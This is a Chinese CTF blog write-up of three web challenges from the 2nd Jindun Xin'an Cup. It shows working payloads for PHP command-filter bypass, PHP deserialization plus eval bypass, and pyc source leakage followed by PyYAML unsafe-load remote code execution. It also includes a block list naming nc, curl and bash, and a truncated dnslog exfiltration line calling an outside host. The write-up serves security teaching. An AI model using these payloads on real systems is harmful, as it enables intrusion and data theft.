CTF笔记(十一)——第二届金盾信安杯Web WriteUp

第二届金盾信安杯Web WriteUp

Web题质量真❤不错,就是做了一上午一题都没出时的心态让人奔溃。第四题和第五题到现在依旧不会,所以只有前三题的WP了

第二届河南金盾信安杯 web1

忘记题目名字了

源码审计

<?php
highlight_file(__FILE__);
$filter = '/#|`| |[\x0a]|ls|rm|sleep|sh|bash|grep|nc|ping|curl|cat|tac|od|more|less|nl|vi|unique|head|tail|sort|rev|string|find|\$|\(\|\)|\[|\]|\{|\}|\>|\<|\?|\'|"|\*|;|\||&|\/|\\\\/is';
$cmd = $_POST['cmd'];
if(!preg_match($filter, $cmd)){
    system($cmd."echo 'hi~'");
}else{
    die("???");
}
?> hi~

不得不说过滤的挺狠的

列出目录

ls被过了,但是dir没背过滤,空格过滤了用tab键(制表符)代替即可

POSTcmd=dir%09.%09

Response

<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$filter </span><span style="color: #007700">= </span><span style="color: #DD0000">'/#|`| |[\x0a]|ls|rm|sleep|sh|bash|grep|nc|ping|curl|cat|tac|od|more|less|nl|vi|unique|head|tail|sort|rev|string|find|\$|\(\|\)|\[|\]|\{|\}|\>|\<|\?|\'|"|\*|;|\||&|\/|\\\\/is'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">$cmd </span><span style="color: #007700">= </span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'cmd'</span><span style="color: #007700">];<br />if(!</span><span style="color: #0000BB">preg_match</span><span style="color: #007700">(</span><span style="color: #0000BB">$filter</span><span style="color: #007700">, </span><span style="color: #0000BB">$cmd</span><span style="color: #007700">)){<br />    </span><span style="color: #0000BB">system</span><span style="color: #007700">(</span><span style="color: #0000BB">$cmd</span><span style="color: #007700">.</span><span style="color: #DD0000">"echo 'hi~'"</span><span style="color: #007700">);<br />}else{<br />    die(</span><span style="color: #DD0000">"???"</span><span style="color: #007700">);<br />}<br /></span><span style="color: #0000BB">?></span>
</span>
</code>.:
F14g_1s_h4rehaha.php  index.php

读取flag

大量的读文件命令被过滤了,但是还是有几个没有被过滤的

比如fmt、uniq、sed p、cut -c1-、file -f、pr、look flag、paste、diff

但是这里我们需要能够后面跟上乱七八糟的参数依旧能够读到文件内容的命令,毕竟没法截断后面的echo "hi~"

本地依次尝试上述指令

$ fmt flag echo "hi~"
flag{fake_flag}
fmt: cannot open 'echo' for reading: No such file or directory
fmt: cannot open 'hi~' for reading: No such file or directory

$ uniq flag echo "hi~"
uniq: extra operand ‘hi~’
Try 'uniq --help' for more information.

$ sed p flag echo "hi~"
flag{fake_flag}
flag{fake_flag}
sed: can't read echo: No such file or directory
sed: can't read hi~: No such file or directory

$ cut -c1- flag echo "hi~"
flag{fake_flag}
cut: echo: No such file or directory
cut: hi~: No such file or directory

$ file -f flag echo "hi~"
flag{fake_flag}: cannot open `flag{fake_flag}' (No such file or directory)
echo: cannot open `echo' (No such file or directory)
hi~:  cannot open `hi~' (No such file or directory)

$ look flag flag echo "hi~"
flag{fake_flag}
look: echo: No such file or directory

$ paste flag echo "hi~"
paste: echo: No such file or directory

$ diff flag a echo "hi~"
diff: extra operand 'echo'
diff: Try 'diff --help' for more information.

$ pr flag echo "hi~"

2020-12-21 00:33                       flag                       Page 1

flag{fake_flag}

pr: echo: No such file or directory
pr: hi~: No such file or directory

这里可以用的指令有fmt、sed p、cut -c1-、file -f、look flag、pr

经过远程测试除了look flag外剩下五个均能成功获得flag!

被过滤了的读文件命令:egrep、strings、more、less、head、tail、cat、tac、od、nl、vi、grep、tailf、rev、sort

一些这道题用不到的点

>的过滤可以用tee绕过

如果find没被过滤的话他的--exec参数可以执行命令

第二届河南金盾信安杯 ezpass

Ez不easy。。。

源码审计

一来先是源码审计

<?php
Class Welcome{
    public $cmd;
    private $admin;
    public function __construct(){
        $this->admin = 'guest';
    }

    public function backdoor(){
        //rce me
        eval($this->cmd);
    }

    public function __destruct(){
        if($this->admin === 'guest'){
            $this->cmd = 'echo "<hr>Welcome to JDBCTF 2020!";';
            $this->backdoor();
        }else if($this->admin === 'jdb' && check_cmd($_POST['cmd'])){
            $this->cmd = $_POST['cmd'];
            $this->backdoor();
        }else if($this->admin === 'info'){
            $this->cmd = 'phpinfo();';
            $this->backdoor();
        }
    }
}

$w = new Welcome();

if(!isset($_POST['data'])){
    die();
}

$data = $_POST['data'];
if(check_data($data)){
    unserialize($data);
}
Welcome to JDBCTF 2020!

可以发现要反序列化(unserialize)和代码执行(RCE),同时还有绕过check_data和check_cmd

反序列化和绕过check_data

反序列化没啥好讲的

直接构造admin='info'post过去看看会不会执行phpinfo就好了

构造代码

//2.php
<?php
Class Welcome{
    public $cmd;
    private $admin='info';
}
echo serialize(new Welcome());

php 2.php运行一下

O:7:"Welcome":2:{s:3:"cmd";N;s:14:" Welcome admin";s:4:"info";}

注意私有属性名称序列化后为\x00类名\x00属性名

构造POST报文

POST / HTTP/1.1
Host:59.110.167.125:25002
Content-Type: application/x-www-form-urlencoded
Content-Length:108

data=O:7:"Welcome":2:{s:3:"cmd";N;s:14:"%00Welcome%00admin";s:4:"info";}

返回

bad hacker!<hr>Welcome to JDBCTF 2020!

emmm。。。被ban了。

经过反反复复的测试,发现check_data把O:7:,admin,{,},cmd给ban了。

admin和cmd的绕过比较简单,用ascii码加转义符\同时把前面的s改为S就好了,参考CTF笔记(四)——2020年夏季解题汇总 - Icystal Works[强网杯 2020] 强网先锋 web辅助 一节

用+7代替7就可以绕过O:7:的过滤,不过url传参记得编码+为%2b

{}的绕过网上没搜到,不过我们尝试使用括号()在本地测试发现,虽然没有成功反序列化,但是却输出了phpinfo页面(phpinfo太长了,这里就不贴了),然后远端测试了一下也是可以的

然后把admin改为jdb,发现jdb也被ban了,于是把jdb也给转义了一下

data=O:%2b7:"Welcome":2:(S:3:"\63md";N;S:14:"%00Welcome%00\61dmin";S:3:"j\64b";)

代码执行和绕过check_cmd

把admin改为jdb的同时将要执行的命令用cmd参数传过去

data=O:%2b7:"Welcome":2:(S:3:"\63md";N;S:14:"%00Welcome%00\61dmin";S:3:"j\64b";)&cmd=echo%0a1;

但是又被ban了,经过测试;被过滤了。。。

传入eval的语句没有;是没法执行的!

$ php 3.php
PHP Parse error:  syntax error, unexpected end of file, expecting ',' or ';' in /mnt/c/Users/q1079/3.php(2) : eval()'d code on line 1
$ cat 3.php
<?php
eval('echo 1');

尝试发现;的过滤可以用'?><?php echo 1 ?>绕过

$ cat 3.php
<?php
eval('?><?php echo 1 ?>');
$ php 3.php
1$

过滤|但是经过测试php被ban了 (ΩДΩ)

绕过|然后试着换用?><?=1?>

过滤|结果<?也被ban了 ヽ(#`Д´)ノ

绕过|这时候我们发现php的版本为5.6,在5.9之前php支持<script language="php"></script>这种html的script标签作为php的代码的开始和结束标记

过滤|然后欣喜的再次发现scriptlanguage"也被ban了ヽ(`Д´)ノ︵ ┻━┻ ┻━┻ 

绕过|但是这里的scriptlanguagephp可以大小写绕过,并且可以不写双引号

过滤|还有空格也被ban了

绕过|平平无奇的用%0a或者%09就能绕过。

过滤|终于可以尝试命令执行了,结果发现()被过了,这怎么让人运行函数啊 ٩(º﹃º٩)

绕过|可以用``包裹要执行的命令

最终的POST参数如下

data=O:%2b7:"Welcome":2:(S:3:"\63md";N;S:14:"%00Welcome%00\61dmin";S:3:"j\64b";)&cmd=?><sCript%09langUage=Php>echo%0a`ls`</Script>

得到

index.php
source.txt
<hr>Welcome to JDBCTF 2020!

然后找到flag文件

data=O:%2b7:"Welcome":2:(S:3:"\63md";N;S:14:"%00Welcome%00\61dmin";S:3:"j\64b";)&cmd=?><sCript%09langUage=Php>echo%0a`ls%09/`</Script>
F1ag_1s_h4re_HaHa!.txt
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
<hr>Welcome to JDBCTF 2020!

读取flag

data=O:%2b7:"Welcome":2:(S:3:"\63md";N;S:14:"%00Welcome%00\61dmin";S:3:"j\64b";)&cmd=?><sCript%09langUage=Php>echo%0a`cat%09/F1ag_1s_h4re_HaHa!.txt`</Script>

第二届河南金盾信安杯 pyme

炮姐做背景真不错

任意文件读取

看一下源码,或者看一下F12的Network面板,可以发现背景的炮姐是php文件读取进来的

        body {
            background-image:url("get_image?img=bg.png")
        }

验证是否存在任意文件读取漏洞,读取/etc/passw:/get_image?img=/etc/passwd

返回base64

cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAyOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwMzpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA0OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wcm94eTp4OjEwMzoxMDU6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKX2FwdDp4OjEwNDo2NTUzNDo6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKc3NoZDp4OjEwNTo2NTUzNDo6L3Zhci9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpndGYxeTp4OjEwMDA6ODM3ODo6L2hvbWUvZ3RmMXk6Cg==

解码获得目标的/etc/passwd文件,确认任意文件读取漏洞的存在

同时发现用户gtf1y,但是并没有什么用

源码泄露

/get_image?img=app.py读取app.py发现被拦截了

"reading forbidden!"

百度到可以参考Pwnhub Web题Classroom题解与分析 | 离别歌尝试读取当前目录下的__pycache__/app.cpython-35.pyc

但是当前目录是啥目录啊,试了一下get_image读的貌似不是当前目录QAQ

百度到可以参考Linux /proc目录详解 - 滴水瓦 - 博客园使用/proc/self/cwd指向当前程序运行路径

尝试构造poc:/get_image?img=/proc/self/cwd/__pycache__/app.cpython-35.pyc去读取python脚本运行时的pyc预编译文件

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

解码为pyc文件,使用在线工具python反编译 - 在线工具反编译获得源码

#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
from flask import redirect, Flask, render_template, request, abort
from flask import url_for, send_from_directory, send_file, make_response, Response, jsonify
import base64
import json
import yaml
import os
app = Flask(__name__)

class Name:

    def __init__(self):
        pass

    def from_configuration(config):
        return Name(**yaml.load(config, Loader = yaml.Loader))

    from_configuration = staticmethod(from_configuration)

def waf(name):
    if '..' in name:
        return -1
    if None[-2:] == 'py':
        return -2
    return None

def index():
    return render_template('index.html', out = 'Welcome to enter!', is_value = 0)

index = app.route('/', methods = [
    'GET',
    'POST'])(index)

def get_image():
    filename = request.args.get('img')
    if waf(filename) == -1:
        return jsonify('directory traversal forbidden!')
    if None(filename) == -2:
        return jsonify('reading forbidden!')
    imgPath = None.path.join('/var/www/html', 'static', filename)
    if not os.path.exists(imgPath):
        return jsonify('image does not exists')
    return None(imgPath, mimetype = 'image/png')

get_image = app.route('/get_image')(get_image)

def set():
    if request.method == 'POST':
        if 'name' in request.form:
            name = request.form['name']
        if 'config' in request.form:
            result = Name.from_configuration(request.form['config'])
            return make_response(render_template('index.html', result = result), 200)
        return None(render_template('index.html', out = 'Welcome,' + name, is_value = 1), 200)
    return None(render_template('setting.html'), 200)

set = app.route('/set', methods = [
    'GET',
    'POST'])(set)

根据import猜测return后面显示为None的函数应该是make_response,有一个if 里的None应为waf

然后根据源码里泄露的web目录,flask的模板文件都在templates下,也可以顺便读取了

yaml反序列化

可以参考浅谈PyYAML反序列化漏洞 - 先知社区

Name类的from_configuration函数使用了不安全的yaml.load而不是yaml.safe_load

而在/set下当传参只有config时会把config作为参数传给from_configuration进行反序列化

本地尝试Name.from_configuration('!!python/object/new:os.system ["dir"]')

 Volume in drive F is xxx
 Volume Serial Number is 08**-**1A

 Directory of F:\2020-12-20

2020/12/20  21:49    <DIR>          .
2020/12/20  21:49    <DIR>          ..
2020/12/20  15:48                90 1.txt
2020/12/20  15:21           190,195 2.py
2020/12/20  18:24             2,000 app.py
2020/12/20  21:49    <DIR>          static
2020/12/20  21:49    <DIR>          templates
               3 File(s)        192,285 bytes
               4 Dir(s)  1,354,978,648,064 bytes free
Traceback (most recent call last):
  File "app.py", line 65, in <module>
    print(Name.from_configuration('!!python/object/apply:os.system ["dir"]'))
  File "app.py", line 18, in from_configuration
    return Name(**yaml.load(config, Loader = yaml.Loader))
TypeError: type object argument after ** must be a mapping, not int

发现尽管因为Name类的__init__不接受参数而报错,但是命令依旧是执行了

因此这里想配合任意文件读取,先把命令执行结果写到文件再get_image页面读文件

尝试了根目录、用户目录、当前目录发现都没有写入权限后,终于想到tmp目录估计会有读写权限

向set页面发送post请求执行ls / > /tmp/1.txt

POST /set HTTP/1.1
Host:59.110.167.125:25003
Content-Type: application/x-www-form-urlencoded
Content-Length:62

config=!!python/object/apply:os.system ["ls / >>/tmp/1.txt"]

浏览器访问get_image页面读取1.txt

解码发现可疑的txt文件Da4gerPy!.txt

>>> print(base64.b64decode(b"YmRfYnVpbGQKYmluCmJvb3QKRGE0Z2VyX1B5XyEudHh0CmRldgpldGMKaG9tZQpsaWIKbGliNjQKbWVkaWEKbW50Cm9wdApwcm9jCnJvb3QKcnVuCnNiaW4Kc3J2CnN5cwp0bXAKdXNyCnZhcgo=").decode())
bd_build
bin
boot
Da4ger_Py_!.txt
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

请求/get_image?img=/Da4ger_Py_!.txt获得flag

P.S. 后来发现用burpsuite返回的数据没有被base64编码,估计是浏览器请求头的问题?

P.S. 大佬发现可以使用dnslog回显 !!python/object/apply:os.system ["ssh root@whoami.example.com

标签:, , , , ,

不说点什么喵?

15 − 2 =

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据